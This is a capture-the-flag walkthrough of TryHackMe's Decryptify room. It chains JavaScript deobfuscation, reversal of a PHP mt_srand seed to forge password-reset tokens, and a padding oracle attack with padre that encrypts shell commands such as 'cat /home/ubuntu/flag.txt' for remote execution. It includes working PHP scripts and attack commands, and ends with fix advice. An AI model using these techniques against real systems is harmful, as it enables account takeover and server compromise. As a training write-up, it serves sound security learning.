Decryptify: Deobfuscating JavaScript, Reversing a PRNG Seed, and Encrypting Commands with a Padding Oracle
A walkthrough of TryHackMe's Decryptify — deobfuscating JavaScript reveals an API password, reversing PHP's mt_srand seed predicts password-reset tokens for account takeover, and a Padding Oracle attack turns an encrypted parameter into arbitrary command execution.
A walkthrough of TryHackMe’s Decryptify room. Deobfuscating JavaScript reveals an API password. The API documentation exposes a PHP token-generation function seeded with mt_srand — reversing its constant lets us predict any user’s password-reset token and take over their account. Inside the dashboard, an encrypted parameter is vulnerable to a Padding Oracle attack, turning a hidden date field into arbitrary command execution on the server.
The flag and recovered credentials are redacted. Decryptify is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Values shown as
<redacted>are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
Deobfuscate the JavaScript on the login page → extract the API password → access the API documentation at /api.php → find a PHP token-generation function that uses mt_srand() with a predictable seed → brute-force the constant value using a known email/token pair → predict the password-reset token for the target account → reset password and take over the account → discover a hidden, Base64-encoded date parameter in the dashboard → the value is AES-CBC encrypted → Padding Oracle attack decrypts it to date +%Y (a shell command) → encrypt an arbitrary command with the same oracle → achieve command injection → read the flag.
JS deobfuscation → API access → PRNG seed reversal → account takeover → Padding Oracle → command injection.
The target
export IP=<target-ip>
Decryptify is a PHP application running on Apache 2.4.41 behind port 1337:
nmap -sC -sV -p- -T5 --min-rate=1000 $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
The login page at http://$IP:1337/ is titled “Login - Decryptify.” A PHPSESSID cookie is set without the httponly flag. Directory enumeration uncovers several interesting endpoints:
gobuster dir -u http://$IP:1337/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x php,js,txt,html
api.php (Status: 200)
dashboard.php (Status: 302) [--> logout.php]
logs/ (Status: 301)
phpmyadmin/ (Status: 301)
The api.php endpoint and the redirect on dashboard.php hint that there is an API and a protected dashboard behind authentication.
The vulnerability: predictable PRNG seed meets Padding Oracle
Insight
This room chains three distinct flaws:
- JavaScript obfuscation as security — the API password is hidden in client-side code, recoverable by anyone who reads the source.
- Predictable PRNG — PHP’s
mt_srand()is not cryptographically secure. Given one known email/token pair, the constant in the seed formula can be brute-forced, letting an attacker predict tokens for any email. - Padding Oracle — the server leaks whether CBC decryption produced valid padding, letting an attacker decrypt and encrypt arbitrary ciphertext without knowing the key.
Step 1 — deobfuscate JavaScript to recover the API password
The login page includes an obfuscated script. The pattern is a classic array-rotation obfuscation: strings are stored in an array, a self-invoking function rotates it until a checksum matches, and a lookup function maps indices to the original strings.
function a() {
const k = [
'16OTYqOr', '861cPVRNJ', '474AnPRwy',
'<redacted-api-password>', // the hidden string
'5228dijopu', '29131EDUYqd', ...
];
...
}
const c = j(361); // resolves to the API password
Running this locally (or using a deobfuscator) reveals the hidden value at index 361. This is the password needed to access /api.php.
Visiting http://$IP:1337/api.php with this password reveals the API documentation, including a token generation function.
Step 2 — reverse the PRNG seed to predict tokens
The API documentation exposes the invite-code generation logic:
function calculate_seed_value($email, $constant_value) {
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$seed_value = hexdec($email_length + $constant_value + $email_hex);
return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
The seed is deterministic: given the same email and constant, mt_rand() always produces the same output. If we know one email’s token, we can brute-force the constant.
A login attempt reveals that alpha@fake.thm exists and has a known invite code. We write a reversal script:
<?php
function reverse_constant_value($email, $invite_code) {
$random_value = intval(base64_decode($invite_code));
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
for ($constant_value = 0; $constant_value <= 1000000; $constant_value++) {
$seed_value = hexdec($email_length + $constant_value + $email_hex);
mt_srand($seed_value);
if (mt_rand() === $random_value) {
return $constant_value;
}
}
return "Not found";
}
$email = "alpha@fake.thm";
$invite_code = "<redacted>";
echo reverse_constant_value($email, $invite_code);
?>
php get_constant.php
Reversed Constant Value: 99999
With the constant recovered, we generate a token for the target account hello@fake.thm:
<?php
function calculate_seed_value($email, $constant_value) {
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
return hexdec($email_length + $constant_value + $email_hex);
}
$email = "hello@fake.thm";
$seed = calculate_seed_value($email, 99999);
mt_srand($seed);
echo base64_encode(mt_rand());
?>
The generated token lets us reset the password and log in as hello@fake.thm.
Step 3 — discover the encrypted parameter
Inside the dashboard, the page source reveals a hidden form field:
<input type="hidden" name="date" value="V4ONl7EacxDuk0TJCEiKABUkiswgoR7qKuOk3kNm0Yo=">
The Base64 value looks like ciphertext. Submitting the date parameter empty returns a padding error — the server is decrypting this value using a block cipher in CBC mode and leaking whether the padding is valid.
Step 4 — Padding Oracle: decrypt, then encrypt
A Padding Oracle attack exploits the server’s distinct error responses to decrypt (and forge) ciphertext byte-by-byte without knowing the key. We use padre:
export COOKIE='PHPSESSID=<redacted>; role=<redacted>'
./padre-linux-amd64 \
-cookie "$COOKIE" \
-u "http://$IP:1337/dashboard.php?date=$" \
'V4ONl7EacxDuk0TJCEiKABUkiswgoR7qKuOk3kNm0Yo='
[+] successfully detected padding oracle
[+] detected block length: 8
[!] mode: decrypt
date +%Y
The decrypted value is date +%Y — a shell command that outputs the current year (shown in the page footer). The server decrypts the parameter and passes it directly to a shell.
Step 5 — command injection via encrypted payload
We now use the oracle in encrypt mode to forge our own command:
./padre-linux-amd64 \
-cookie "$COOKIE" \
-u "http://$IP:1337/dashboard.php?date=$" \
-enc "id"
Passing the resulting ciphertext as the date parameter executes id on the server, confirming command injection.
For the flag:
./padre-linux-amd64 \
-cookie "$COOKIE" \
-u "http://$IP:1337/dashboard.php?date=$" \
-enc "cat /home/ubuntu/flag.txt"
Submitting the encrypted payload to the dashboard reads the flag:
THM{<redacted>}
Impact
Critical
High — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). The chain requires some effort (PRNG reversal + Padding Oracle) but is fully scriptable once understood:
- Client-side secret exposure — the API password is recoverable from JavaScript, granting access to internal documentation.
- Account takeover via PRNG prediction — any user’s password-reset token can be computed given their email, with no rate limiting.
- Arbitrary command execution — the Padding Oracle turns an encrypted parameter into a command injection primitive, achieving RCE as the web server user.
Recommended fix — break every rung
Note
- Never embed secrets in client-side code. JavaScript obfuscation is not security — move API authentication to server-side session checks.
- Use a CSPRNG for token generation. Replace
mt_srand()/mt_rand()withrandom_bytes()orrandom_int(). Tokens must not be derivable from known inputs. - Don’t pass decrypted ciphertext to a shell. The
dateparameter should be validated server-side (e.g., allow-listed date formats), not decrypted and executed. - Never leak padding validity. Use authenticated encryption (AES-GCM) instead of CBC, or at minimum return identical error responses for all decryption failures.
Takeaways
- JavaScript obfuscation hides nothing. Any value reachable by the browser is reachable by an attacker. Obfuscation is a speed bump, not a wall.
- Predictable seeds make PRNG output predictable.
mt_srand()with a computable seed turns “random” tokens into a closed formula. One known pair is enough to reverse the constant and forge tokens for every user. - Padding Oracles give you both directions. A server that leaks valid-vs-invalid padding lets you decrypt existing ciphertext and encrypt arbitrary plaintext — without the key.
- Encrypt-then-execute is command injection by design. If decrypted ciphertext reaches a shell, controlling the ciphertext means controlling the server.
Thanks for reading. Decryptify is a satisfying chain of three different crypto and logic flaws — JavaScript deobfuscation, PRNG seed reversal, and a Padding Oracle — that together escalate from an unauthenticated visitor to arbitrary command execution.